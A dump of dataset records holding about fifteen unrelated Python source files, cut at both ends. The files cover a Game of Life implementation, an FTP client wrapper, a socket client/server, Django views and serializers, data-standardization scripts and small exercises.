json.load(open('first-names.json'))\nfor i in names:\n customers.append(Customer(names[names.index(i)], membership_types[randrange(5)]))\n\nwith open('person.csv', 'w', newline='') as file:\n writer = csv.writer(file)\n for j in customers:\n writer.writerow([customers[customers.index(j)].name, customers[customers.index(j)].membership_type])\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"406053683","text":"#!/usr/bin/python\nimport os\nimport time\nfrom daemon import runner\n\nclass App():\n def __init__(self):\n self.root = os.path.abspath(os.path.dirname(__file__))\n #Root directory\n self.run_dir = os.path.join(self.root, \"run\")\n self.stdin_path = '/dev/null'\n #File logs\n self.stdout_path = os.path.join(self.run_dir, 'stdout.txt') #this file is the output of deamon\n self.stderr_path = os.path.join(self.run_dir, 'stderr.txt') #If you have a error\n self.pidfile_path = os.path.join(self.run_dir,'test.pid') #Deamon Process ID\n self.pidfile_timeout = 5\n def run(self):\n while True:\n print(\"Hi I'am a Deamon... Created in Python....\")\n time.sleep(10)\n\napp = App()\ndaemon_runner = runner.DaemonRunner(app)\ndaemon_runner.do_action()\n","sub_path":"deamon.py","file_name":"deamon.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"230326263","text":"from rest_framework import serializers\nfrom django.contrib.auth.models import User\nfrom APIsApp.models import Route\n\n\nclass RouteSerializer(serializers.ModelSerializer):\n class Meta:\n model = Route\n fields = [\n \"id\",\n \"longitude_start\",\n \"latitude_start\",\n \"longitude_end\",\n \"latitude_end\",\n \"distance\",\n \"coordinates_json\",\n \"created_at\",\n ]\n extra_kwargs = {\n \"created_at\": {\"read_only\": True}\n }\n","sub_path":"TripPlanner - Project/APIsApp/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"389994194","text":"# -*- coding: utf-8 -*-\nimport os\nimport csv\n\ndef csvToList(csvFile):\n\twith open(csvFile, encoding=\"utf-8\") as f_csv:\n\t\treader = csv.reader(f_csv)\n\t\tafuckList = []\n\t\tfor row in reader:\n\t\t\tafuckList.append(row)\n\t\treturn afuckList\n\ndef export(fromList, toList, newFileName):\n\twith open(newFileName, \"w\", newline=\"\", encoding=\"utf-8\") as new_csv:\n\t\twriter = csv.writer(new_csv)\n\t\tfor row, cRow in zip(toList, fromList):\n\t\t\trow[2] = cRow[2]\n\t\t\twriter.writerow(row)\n\nfor item in os.listdir('.'):\n\tif (item.endswith('NameDB.csv') and not(item.startswith('SOR'))):\n\t\t# fileName = item\n\t\tnewname = (\"SOR Names - \" + item)\n\t\t\n\t\ttry:\n\t\t\tfromTable = csvToList(item)\n\t\t\ttoTable = csvToList(newname)\n\t\t\texport(fromTable, toTable, newname)\n\t\t\tprint(newname, 'overwritten.')\n\t\texcept FileNotFoundError:\n\t\t\tprint(\"没源文件怎么覆盖(╯‵□′)╯︵┻━┻\")","sub_path":"im_export/translationIMPORT.py","file_name":"translationIMPORT.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"244320423","text":"__author__ = 'Cherry'\nfrom kivy.app import App\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.floatlayout import FloatLayout\nimport random\n\n\nclass MainApp(BoxLayout):\n def change_color(self):\n color = [random.random() for i in xrange(3)] + [1]\n lbl1 = self.ids.lbl1\n lbl1.color = color\n\n\nclass TestApp(App):\n def build(self):\n return MainApp()\n\n\nif __name__ == '__main__':\n TestApp().run()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"532822947","text":"from django.conf.urls import url\nfrom django.contrib.auth.views import login, logout\n\nfrom .views import ProfileView, RegisterFormView, UserActivationView\n\nurlpatterns = [\n # accounts/...\n url(r'login/$', login, kwargs={'template_name': 'users/login.html',\n 'redirect_authenticated_user': True}, name='login'),\n\n url(r'^logout/$', logout, name='logout'), # used based logout view\n url(r'^profile/(?P[\\w.@+-]+)/$', ProfileView.as_view(), name='profile'),\n url(r'^signup/$', RegisterFormView.as_view(), name='register'),\n url(r'^activate/(?P.+)$', UserActivationView.as_view(), name='activation'),\n]","sub_path":"users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"123930457","text":"import pathlib\nimport random\nimport math\nimport os\n\nfrom typing import List, Optional, Tuple\n\n\nCell = Tuple[int, int]\nCells = List[int]\nGrid = List[Cells]\n\n\nclass GameOfLife:\n\n def __init__(\n self,\n size: Tuple[int, int],\n randomize: bool = True,\n max_generations: Optional[float] = float('inf'),\n ) -> None:\n # Размер клеточного поля\n self.rows, self.cols = size\n # Предыдущее поколение клеток\n self.prev_generation = self.create_grid()\n\n # Текущее поколение клеток\n self.curr_generation = self.create_grid(randomize=randomize)\n\n # Максимальное число поколений\n if max_generations:\n self.max_generations = max_generations\n\n # Текущее число поколений\n # FIXED from self.generations\n self.n_generation = 1\n\n def create_grid(self, randomize: bool = False) -> Grid:\n \"\"\"\n Создание списка клеток.\n Клетка считается живой, если ее значение равно 1, в противном случае клетка\n считается мертвой, то есть, ее значение равно 0.\n Parameters\n ----------\n randomize : bool\n Если значение истина, то создается матрица, где каждая клетка может\n быть равновероятно живой или мертвой, иначе все клетки создаются мертвыми.\n Returns\n ----------\n out : Grid\n Матрица клеток размером `cols` х `rows`.\n \"\"\"\n\n if randomize:\n grid = [[random.choice([0, 1]) for i in range(\n self.cols)] for j in range(self.rows)]\n else:\n grid = [[0 for i in range(self.cols)]\n for j in range(self.rows)]\n\n return grid\n\n def get_neighbours(self, cell: Cell) -> Cells:\n \"\"\"\n Вернуть список соседних клеток для клетки `cell`.\n Соседними считаются клетки по горизонтали, вертикали и диагоналям,\n то есть, во всех направлениях.\n Parameters\n ----------\n cell : Cell\n Клетка, для которой необходимо получить список соседей. Клетка\n представлена кортежем, содержащим ее координаты на игровом поле.\n Returns\n ----------\n out : Cells\n Список соседних клеток.\n \"\"\"\n row, col = cell\n neighbours_arr = []\n\n # -┙ bottom right border\n if (row + 1 < self.rows) and (col + 1 < self.cols):\n neighbours_arr.append(self.curr_generation[row + 1][col + 1])\n # *| right border\n if (row + 1 < self.rows):\n neighbours_arr.append(self.curr_generation[row + 1][col])\n\n # ┍- top left border\n if (row - 1 >= 0) and (col - 1 >= 0):\n neighbours_arr.append(self.curr_generation[row - 1][col - 1])\n # |* left border\n if (row - 1 >= 0):\n neighbours_arr.append(self.curr_generation[row - 1][col])\n\n # -┐ top right border\n if (row + 1 < self.rows) and (col - 1 >= 0):\n neighbours_arr.append(self.curr_generation[row + 1][col - 1])\n # ^^ top border\n if (col - 1 >= 0):\n neighbours_arr.append(self.curr_generation[row][col - 1])\n\n # └- bottom left border\n if (row - 1 >= 0) and (col + 1 < self.cols):\n neighbours_arr.append(self.curr_generation[row - 1][col + 1])\n # __ bottom border\n if (col + 1 < self.cols):\n neighbours_arr.append(self.curr_generation[row][col + 1])\n\n return neighbours_arr\n\n def get_next_generation(self) -> Grid:\n \"\"\"\n Получить следующее поколение клеток.\n Returns\n ----------\n out : Grid\n Новое поколение клеток.\n \"\"\"\n\n # Create empty grid\n next_generation = self.create_grid()\n\n for row in range(self.rows):\n for col in range(self.cols):\n neighbours_count = sum(self.get_neighbours((row, col)))\n\n # Determine if cell stays form previous grid\n if (neighbours_count >= 2) and (neighbours_count <= 3) and self.curr_generation[row][col]:\n next_generation[row][col] = 1\n # Determine if new cell appears\n elif neighbours_count == 3:\n next_generation[row][col] = 1\n else:\n next_generation[row][col] = 0\n\n return next_generation\n\n def step(self) -> None:\n \"\"\"\n Выполнить один шаг игры.\n \"\"\"\n self.prev_generation = self.curr_generation.copy()\n self.curr_generation = self.get_next_generation()\n self.n_generation += 1\n\n @property\n # FIXED from is_max_generations_exceeded\n def is_max_generations_exceed(self) -> bool:\n \"\"\"\n Не превысило ли текущее число поколений максимально допустимое.\n \"\"\"\n if self.max_generations:\n return self.n_generation >= self.max_generations\n else:\n return False\n\n # Basically just a shortcut for creating readonly properties\n # is_changing = property(is_changing)\n @property\n def is_changing(self) -> bool:\n \"\"\"\n Изменилось ли состояние клеток с предыдущего шага.\n \"\"\"\n return self.curr_generation != self.prev_generation\n\n @staticmethod\n def from_file(filename: pathlib.Path) -> 'GameOfLife':\n \"\"\"\n Прочитать состояние клеток из указанного файла.\n \"\"\"\n file = [c for c in open(filename).read() if c in '01\\n']\n\n grid = [[]] # type: List[List]\n j = 0\n # Split number rows into array of numbers, forming 2D matrix\n for i in range(len(file) - 1):\n if file[i] != '\\n':\n number = [int(file[i])]\n grid[j].extend(number)\n else:\n grid.append([])\n j += 1\n rows = len(grid)\n cols = len(grid[0])\n life = GameOfLife((rows, cols))\n life.curr_generation = grid\n\n return life\n\n def save(self, filename: pathlib.Path) -> None:\n \"\"\"\n Сохранить текущее состояние клеток в указанный файл.\n \"\"\"\n\n file = open(filename, 'w+')\n for row in range(self.rows):\n for col in range(self.cols):\n number = str(self.curr_generation[row][col])\n file.write(number)\n file.write('\\n')\n\n file.close()\n","sub_path":"homework03/life.py","file_name":"life.py","file_ext":"py","file_size_in_byte":7230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"137733221","text":"#!/usr/bin/env python3\n\nfrom random import randrange\n\ndef main( ):\n\n numOfWins = ( int( input( \"How many times do you wish to win: \" ) ) )\n sumAttempts = ( 0 )\n avgAttempts = ( 0 )\n count = ( 0 )\n winningArray = []\n userArray = []\n\n for i in range( 0, numOfWins, 1 ): \n count += ( 1 )\n numOfAttempts = ( 0 )\n\n while True:\n isWin = ( True )\n userNumbers = ( \"\" )\n winningNumbers = ( \"\" )\n numOfAttempts += ( 1 )\n\n for i in range( 0, 3, 1 ):\n winningNumbers += ( str( randrange( 0, 10, 1 ) ) )\n winningArray = ( winningNumbers.split( ' ' ) )\n\n for i in range( 0, 3, 1 ):\n userNumbers += ( str( randrange( 0, 10, 1 ) ) )\n userArray = ( userNumbers.split( ' ' ) )\n\n for x in winningArray:\n for y in userArray:\n if( y not in x ):\n isWin = ( False )\n\n if( isWin ):\n break\n\n print( \"Win #:\", ( count ), \"\\tAttempts:\", numOfAttempts, \"\\tWinning #\\'s:\", userNumbers, sep = ( \" \" ) )\n sumAttempts += ( numOfAttempts ) \n\n avgAttempts = ( sumAttempts / ( count ) )\n\n print( \"\\nSum Attempts: \", sumAttempts )\n print( \"Average Attempts: \", avgAttempts )\n\nif( __name__ == ( \"__main__\" ) ):\n main( )\n","sub_path":"Daily3/daily3.py","file_name":"daily3.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"165698125","text":"# Copyright (c) 2014 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n\"\"\"Shows details of builds which did not meet our SLO.\n\nSee template at templates/build_details.html for sortable table.\n\"\"\"\nimport jinja2\nimport json\nimport os\nimport webapp2\n\nfrom google.appengine.ext import ndb\n\n\nJINJA_ENVIRONMENT = jinja2.Environment(\n loader=jinja2.FileSystemLoader(os.path.join(os.path.dirname(__file__),\n 'templates')),\n extensions=['jinja2.ext.autoescape'],\n autoescape=True)\n\n\nclass BuildDetailsHandler(webapp2.RequestHandler):\n\n def get(self, key):\n stats = ndb.Key(urlsafe=key).get()\n builds = [{\n 'tree': stat.tree,\n 'master': stat.master,\n 'builder': stat.builder,\n 'buildnumber': stat.buildnumber,\n 'buildtime': stat.buildtime,\n 'result': stat.result,\n 'revision': stat.revision,\n } for stat in stats.slo_offenders]\n template = JINJA_ENVIRONMENT.get_template('build_details.html')\n self.response.write(template.render({\n 'builds': json.dumps(builds),\n }))\n","sub_path":"appengine/trooper_o_matic/appengine_module/trooper_o_matic/build_details.py","file_name":"build_details.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"186876145","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport sys\nimport socket\nimport time\nimport ftplib\nfrom utils import util\nfrom utils import fileoperation\nfrom framework.log import getlogger\nfrom ftplib import FTP\n\nclass FtpClient:\n def __init__(self):\n self.ftp = FTP()\n self.log = getlogger()\n self.connected = False\n self.logined = False\n self.strIp = \"\"\n self.strPort = \"\"\n self.username = \"\"\n self.password = \"\"\n self.retryInterval = 3\n self.cwd = \"\"\n self.timeout = 30\n #self.ftp.set_debuglevel(2)\n\n\n def connect(self,strIp,strPort):\n if self.connected:\n return True\n try:\n socket.setdefaulttimeout(self.timeout)\n self.ftp.connect(strIp,strPort) \n self.log.info('connect to %s:%s OK',strIp,strPort)\n self.connected = True\n return True\n except:\n self.connected = False\n self.logined = False\n self.log.error('connect to %s:%s failed for:%s',strIp,strPort,util.getExceptInfo())\n return False\n\n\n\n def login(self,username,password):\n if self.logined:\n return True\n\n if not self.connected:\n self.log.warning(\"ftp conn have not created yet\")\n return False\n try: \n self.ftp.login(username,password)\n self.log.info('user:%s password:%s ok',username,password)\n self.logined = True\n self.cwd = \"\"\n return True\n except:\n self.log.error('user:%s password:%s failed for %s',username,password,util.getExceptInfo())\n return False\n\n def checkStatus(self):\n if self.logined:\n return True\n return False\n\n def changedir(self,dataDir):\n if not self.checkStatus():\n self.log.error(\"ftp client have not logined yet\")\n return False\n\n if self.cwd == dataDir:\n return True\n \n try:\n #print self.ftp.getwelcome()\n self.ftp.cwd(dataDir)\n self.log.info('change dir:%s ok' ,dataDir)\n self.cwd = dataDir\n return True\n except:\n self.log.error('change dir:%s failed for:%s' ,dataDir,util.getExceptInfo())\n return False\n\n\n\n\n # called when you want to resume the ftp object\n def reinit(self,retries):\n return self.init(self.strIp,self.strPort,self.username,self.password,retries)\n\n\n\n # called after constructor,init will not change remote dir which is a application action\n # this verion don't check the arguments's validation\n def init(self,ip,port,username,password,retries):\n for retry in xrange(retries):\n if not self.connect(ip,port):\n time.sleep(self.retryInterval)\n else:\n break\n\n if not self.connected:\n self.log.warning('connect %s:%s retries:%d' ,ip,port,retries)\n return False\n self.strIp = ip\n self.strPort = port\n self.username = username\n self.password = password\n if not self.logined:\n return self.login(username,password)\n #self.log.log(logging.WARNING,\"processName:%s ftp changedir(%s) failed give up current task\",self.runCtx.name,self.taskDesc.remotedir)\n else:\n return True\n\n\n\n def rename(self, fromname, toname):\n if not self.checkStatus():\n self.log.warning('Ftp client have not logined yet')\n return False\n try:\n self.ftp.rename(fromname, toname)\n return True\n except:\n self.log.error('ftp rename from %s to %s failed for:%s' ,fromname,toname,util.getExceptInfo())\n return False\n\n\n def checkDownloadFile(self,localfile,remotefile): \n remotefileSize = self.getSize(remotefile)\n localfileSize = fileoperation.fileSize(localfile)\n if remotefileSize == localfileSize:\n return True\n else:\n self.log.warning(\"ftp remotefile:%s(size:%d) localfile:%s(size:%d)\",remotefile,remotefileSize,localfile,localfileSize)\n return False\n\n #need to check filename is fullpath \n #Ret val have diff meaning\n # 0 ---- ok\n # 1 ---- net error\n # 2 ---- io error\n # 3 ---- other error\n def download(self, localfile, remotefile):\n self.log.info(\"ftp try to download:%s\",remotefile)\n iRet = 0\n if not self.checkStatus():\n iRet = 1\n self.log.error(\"ftp client have not logined yet\")\n return iRet\n \n file_handler = None\n try:\n file_handler = open(localfile, 'wb')\n self.ftp.retrbinary('RETR %s'%(remotefile), file_handler.write)\n file_handler.close()\n self.log.info('ftp download:%s success',remotefile)\n return iRet\n #self.ftp.set_debuglevel(0)\n except socket.error:\n self.log.error(\"ftp download:%s error %s\",remotefile,util.getExceptInfo())\n iRet = 1 \n except IOError:\n self.log.error(\"source file:%s load error %s\",remotefile,util.getExceptInfo())\n iRet = 2\n except ftplib.error_perm:\n self.log.error(\"ftp download:%s for permanate error\",remotefile)\n iRet = 3\n except ftplib.error_temp:\n self.log.error(\"ftp download:%s for temporary error\",remotefile)\n iRet = 4\n except:\n self.log.error(\"ftp download:%s for error:%s\",remotefile,util.getExceptInfo())\n iRet = 5\n\n finally:\n if file_handler != None: file_handler.close()\n return iRet\n\n def download_ex(self,localfile,remotefile):\n iRet = self.download(localfile,remotefile)\n if iRet == 0:\n if not self.checkDownloadFile(localfile,remotefile):\n fileoperation.removeFile(localfile)\n return False\n return True\n else:\n fileoperation.removeFile(localfile)\n if iRet == 4:\n return True\n else:\n return False\n\n #need to check filename is fullpath \n #Ret val have diff meaning\n # 0 ---- ok\n # 1 ---- net error\n # 2 ---- io error\n # 3 ---- ftp permanet error\n # 4 ---- ftp temporay error\n # 5 ---- unknown error\n def upload(self,filename,interPostfix=None):\n bufsize = 1024\n iRet = 0\n fp = None\n if not self.checkStatus():\n iRet = 1\n self.log.error(\"ftp client have not logined yet\")\n return iRet\n\n try:\n self.ftp.set_pasv(False)\n fp = open(filename,\"rb\")\n srcFileName = os.path.basename(filename)\n #upFileName = \"%s.%s\" % (srcFileName,interPostfix)\n #self.ftp.storbinary('STOR %s' % upFileName,fp,bufsize)\n self.ftp.storbinary('STOR %s' % (srcFileName),fp,bufsize)\n #self.ftp.rename(upFileName,srcFileName)\n self.log.info('ftp upload:%s success',filename)\n return iRet\n #self.ftp.set_debuglevel(0)\n except socket.error:\n self.log.error(\"ftp upload:%s error %s\",filename,util.getExceptInfo())\n iRet = 1 \n except IOError:\n self.log.error(\"source file:%s load error %s\",filename,util.getExceptInfo())\n iRet = 2\n except ftplib.error_perm:\n self.log.error(\"ftp upload:%s for permanate error %s \",filename,util.getExceptInfo())\n iRet = 3\n except ftplib.error_temp:\n self.log.error(\"ftp upload:%s for temporary error %s\",filename,util.getExceptInfo())\n iRet = 4\n except:\n self.log.error(\"ftp upload:%s for other error %s\",filename,util.getExceptInfo())\n iRet = 5\n finally:\n if fp != None: fp.close()\n return iRet\n\n # in the future version the retval meanings may change\n # retval format operRes,needRetryOrNot\n # False,True ------ need retry\n # True,* ------ not need retry\n def upload_ex(self,filename):\n iRet = self.upload(filename)\n if iRet == 0:\n return True,False\n elif iRet == 1:\n self.quit()\n return False,True\n elif iRet == 4:\n return False,True\n else:\n return False,False\n\n \n def getfiles(self,dir=None):\n files = []\n if not self.checkStatus():\n self.log.error(\"ftp client have not logined yet\")\n return files\n try:\n #self.changedir(dir) \n self.log.info(\"current path:%s\",self.ftp.pwd())\n files = files + self.ftp.nlst()\n except:\n self.log.error(\"Get remote files in the directory:%s failed for:%s\",dir,util.getExceptInfo())\n return files\n\n\n def getSize(self,filename):\n if not self.checkStatus():\n self.log.error(\"ftp client have not logined yet\")\n return -1\n try:\n sizeInfo = self.ftp.size(filename)\n return sizeInfo\n except:\n self.log.error(\"Get remote files(%s) size failed for:%s\",filename,util.getExceptInfo())\n return -1\n \n def getlist(self,dir):\n lists = None\n if not self.checkStatus():\n self.log.error(\"ftp client have not logined yet\")\n return lists\n try:\n self.ftp.cwd(dir)\n files = self.ftp.dir(dir)\n except:\n self.log.error(\"Get remote files and folders in the directory:%s failed for %s\",dir,util.getExceptInfo())\n return lists\n\n def deletefile(self,filepath):\n if not self.checkStatus():\n self.log.error(\"ftp client have not logined yet\")\n return False\n try:\n self.ftp.delete(filepath)\n return True\n except:\n self.log.error(\"Delete file:%s failed for :%s\",filepath,util.getExceptInfo())\n return False\n \n def deletedir(self, dirpath):\n if not self.checkStatus():\n self.log.error(\"ftp client have not logined yet\")\n return False\n try:\n self.ftp.rmd(dirpath)\n return True\n except:\n self.log.error(\"Delete folder:%s failed for :%s\",dirpath,util.getExceptInfo())\n return False\n \n def quit(self):\n iRet = 0\n if not self.checkStatus():\n iRet = 1\n self.log.error(\"ftp client have not logined yet\")\n return iRet\n self.log.debug(\"ftp quit\")\n try:\n self.ftp.quit()\n except ftplib.all_errors:\n iRet = 1\n self.log.error(\"ftp related error %s\",util.getExceptInfo())\n except socket.error:\n iRet = 2\n self.log.error(\"net error %s\",util.getExceptInfo())\n except IOError:\n iRet = 3\n self.log.error(\"IO error %s\",util.getExceptInfo())\n finally:\n self.connected = False\n self.logined = False\n return iRet\n \n \n \n\n#if __name__==\"__main__\":\n'''\n ftpCli = FtpClient()\n ftpCli.connect(\"121.32.136.197\",\"21\")\n ftpCli.login('zhengs','123456')\n #ftpCli.changedir('result')\n files = ftpCli.getfiles('result')\n print files\n for item in files:\n ftpCli.download(\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\python\\\\run\"+item,item)\n ftpCli.quit()\n'''\n \n \n \n \n\n \n \n \n","sub_path":"loadhdfs/lib/ftpclient.py","file_name":"ftpclient.py","file_ext":"py","file_size_in_byte":11711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"79383251","text":"import socket\nimport sys\n\nclass Client:\n def __init__(self):\n # Create a TCP/IP socket\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n\n def connect(self, address = None):\n # Connect the socket to the port where the server is listening\n if address == None:\n server_address = ('localhost', 10000)\n else:\n server_address = (address, 10000)\n\n print('connecting to {} port {}'.format(*server_address))\n try:\n self.sock.connect(server_address)\n except Exception as e:\n print(e)\n\n\n def sendMessage(self, message):\n try:\n self.sock.sendall(message)\n print(\"Message sent.\")\n except Exception as e:\n print(e)\n\n def recv(self):\n totalData = None\n\n # While there is data to receive.\n while True:\n data = self.sock.recv(16)\n \n if not data:\n break\n \n totalData += data\n \n return totalData\n\n def disconnect(self):\n print(\"Closing socket.\")\n self.sock.close()\n\n\nclass Server:\n def __init__(self):\n # Create a TCP/IP socket.\n self.sock = socket.socket()\n\n # Bind the socket to the port 10000.\n server_address = ('',10000)\n print(\"Starting up on {} port {}\".format(*server_address))\n self.sock.bind(server_address)\n\n print(\"Listening for connections\")\n self.sock.listen(1)\n\n self.conn, self.client_address = self.sock.accept()\n #print(self.connection, self.client_address)\n\n def sendMessage(self,message):\n if message:\n self.conn.sendall(message)\n print(\"Data sent!\")\n\n \n def recv(self):\n totalData = b'' \n\n # While there is data to receive.\n while True:\n data = self.conn.recv(2048)\n if not data:\n break\n totalData += data\n\n return totalData\n\n def disconnect(self):\n self.conn.close()\n\n","sub_path":"clientserver.py","file_name":"clientserver.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"313103795","text":"# -*- coding: utf-8 -*-\n# @Time : 2019/1/28 18:01\n# @Author : xxx\n# @Email : xxx@admin.com\n# @File : person.py\n# @Software: PyCharm\nimport pickle\nfrom conf.settings import course_info\nclass Person:\n def show_courses(self): # 查看所有可选课程\n course_gen = self.pickle_load(course_info)\n for index,course in enumerate(course_gen,1):\n print('%s、%s' % (index, course))\n\n @staticmethod\n def pickle_load(file_name):\n with open(file_name, 'rb') as f:\n while True:\n try:\n obj = pickle.load(f)\n yield obj\n except EOFError:\n break\n","sub_path":"day28/elective_course2/core/person.py","file_name":"person.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"381174157","text":"#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n# MakeStandardInputs.py ///////////////////////////////////////////////////////////\n#----------------------------------------------------------------------------------\n# Author(s): Reyer Band, Johan S. Bonilla, Brendan Regnary ////////////////////////\n# This program makes Standardize Inputs ///////////////////////////////////////////\n#----------------------------------------------------------------------------------\n\n# modules\nimport numpy\nimport h5py\n# get stuff from modules\nfrom sklearn import preprocessing\nfrom sklearn.externals import joblib\nimport json\nimport argparse, os\n\nlistOfSamples = [\"b\",\"Higgs\",\"QCD\",\"Top\",\"W\",\"Z\"]\nsetTypes = [\"\",\"train\",\"validation\",\"test\"]\n\n\n#==================================================================================\n# Standardize BES Vars /////////////////////////////////////////////////////////////////\n#==================================================================================\ndef standardizeBESTVars(fileDir, outDir, sampleTypes = [\"QCD\",\"Higgs\",\"Top\",\"W\",\"Z\",\"b\"], setTypes = [\"\"], suffix = \"\"):\n # put BES variables in data frames\n for mySet in setTypes:\n jetBESDF = {}\n for mySample in sampleTypes:\n print(\"Getting\", mySample, mySet)\n filePath = fileDir+mySample+\"Sample_BESTinputs\"\n if not mySet == \"\":\n filePath = filePath + \"_\" + mySet\n if suffix == \"\":\n filePath = filePath + \".h5\"\n else:\n filePath = filePath + \"_\" + suffix + \".h5\"\n myF = h5py.File(filePath,\"r\")\n jetBESDF[mySample] = myF['BES_vars'][()]\n print(type(jetBESDF[mySample]), jetBESDF[mySample].shape)\n myF.close()\n print(\"Got\", mySample, mySet)\n\n print(\"Accessed BES variables for\", mySet)\n\n allBESinputs = numpy.concatenate([jetBESDF[mySample] for mySample in sampleTypes])\n print(\"Shape allBESinputs\", allBESinputs.shape)\n scaler = preprocessing.StandardScaler().fit(allBESinputs)\n\n with open('ScalerParameters_'+mySet+'.txt', 'w') as outputFile:\n for mean,var in zip(scaler.mean_, scaler.var_):\n outputFile.write('{},{}\\n'.format(mean, var))\n\n print(\"JetBESDF\", jetBESDF.keys())\n for mySample in sampleTypes:\n jetBESDF[mySample] = scaler.transform(jetBESDF[mySample])\n print(\"Transformed\", mySample)\n #if infParticle == 'H' : infParticle = 'Higgs'\n #if infParticle == 'T' : infParticle = 'Top'\n #if infParticle == 'B' : infParticle = 'b'\n outFilePath = outDir+mySample+\"Sample_BESTinputs\"\n if not mySet == \"\":\n outFilePath = outFilePath + \"_\" + mySet\n if not suffix == \"\":\n outFilePath = outFilePath + \"_\" + suffix\n outFilePath = outFilePath + \"_standardized.h5\"\n outF = h5py.File(outFilePath, \"w\")\n print(\"Creating Standarized Dataset for \", mySample, len(jetBESDF[mySample]))\n outF.create_dataset('BES_vars', data=jetBESDF[mySample], compression='lzf')\n\n inFilePath = fileDir+mySample+\"Sample_BESTinputs\"\n if not mySet == \"\":\n inFilePath = inFilePath + \"_\" + mySet\n if not suffix == \"\":\n inFilePath = inFilePath + \"_\" + suffix\n inFilePath = inFilePath + \".h5\"\n inF = h5py.File(inFilePath, \"r\")\n #Copy the images to the new file\n #Treat QCD separately because of dumb labeling scheme I introduced\n for myFrame in ['HiggsFrame_images','TopFrame_images','ZFrame_images','WFrame_images']:\n print(\"Copying\", myFrame)\n outF.create_dataset(myFrame, data=inF[myFrame], compression='lzf')\n inF.close()\n outF.close()\n print(\"Done creating\", outFilePath)\n print(\"Finished making datasets for\", mySet)\n\n# Main function should take in arguments and call the functions you want\nif __name__ == \"__main__\":\n \n # Take in arguments\n parser = argparse.ArgumentParser(description='Parse user command-line arguments to execute format conversion to prepare for training.')\n parser.add_argument('-s', '--samples',\n dest='samples',\n help=' Which (comma separated) samples to process. Examples: 1) --all; 2) W,Z,b',\n required=True)\n parser.add_argument('-hd','--h5Dir',\n dest='h5Dir',\n default=\"~/nobackup/h5samples/\")\n parser.add_argument('-o','--outDir',\n dest='outDir',\n default=\"~/nobackup/h5samples/\")\n parser.add_argument('-sf','--suffix',\n dest='suffix',\n default=\"\")\n parser.add_argument('-st','--setType',\n dest='setType',\n help=' Which (comma separated) sets to process. Examples: 1) all; 2) train,validation,test',\n required=True)\n args = parser.parse_args()\n if not args.samples == \"all\": listOfSamples = args.samples.split(',')\n if not args.setType == \"all\": setTypes = args.setType.split(',')\n\n # Make directories you need\n if not os.path.isdir(args.h5Dir): print(args.h5Dir, \"does not exist\")\n\n standardizeBESTVars(args.h5Dir, args.outDir, listOfSamples, setTypes, args.suffix)\n \n ## Plot total pT distributions\n \n print(\"Done\")\n\n","sub_path":"training/MakeStandardInputs.py","file_name":"MakeStandardInputs.py","file_ext":"py","file_size_in_byte":5432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"499173772","text":"\"\"\"\nGiven an array nums, we call (i, j) an important reverse pair if i < j and nums[i] > 2*nums[j].\n\nYou need to return the number of important reverse pairs in the given array.\n\"\"\"\nclass Solution(object):\n def reversePairs(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n # Brute Force TLE\n res = 0\n for i in range(len(nums) - 1):\n for j in range(i + 1, len(nums)):\n if nums[i] > 2 * nums[j]:\n res += 1\n\n return res\n\n def reversePairs2(self, nums):\n '''\n Count \"important reverse pairs\" while doing mergesort:\n When we're doing mergesort, original index of elements in left part (smaller side), i, must less than those in right part, j.\n Simply compare nums[i] and 2*nums[j] and sum them up.\n '''\n if len(nums) <= 1:\n return 0\n count = [0]\n\n def merge(nums):\n if len(nums) <= 1: return nums\n\n left, right = merge(nums[:len(nums) // 2]), merge(nums[len(nums) // 2:])\n L = R = 0\n\n while L < len(left) and R < len(right):\n if left[L] <= 2 * right[R]:\n L += 1\n else:\n count[0] += len(left) - L\n R += 1\n return sorted(left + right) # those partial lists induced during mergesort here are generated by sorted()\n\n merge(nums)\n return count[0]\n\n\n\n# Anther solution is Fenwick Tree\n\nnums = [1,3,2,3,1]\nnums = [2,4,3,5,1]\nprint(Solution().reversePairs2(nums))\n","sub_path":"493RevPairs.py","file_name":"493RevPairs.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"67476625","text":"from src import config\nimport transformers\nimport torch.nn as nn\n\nclass BertBaseUncased(nn.Module):\n def 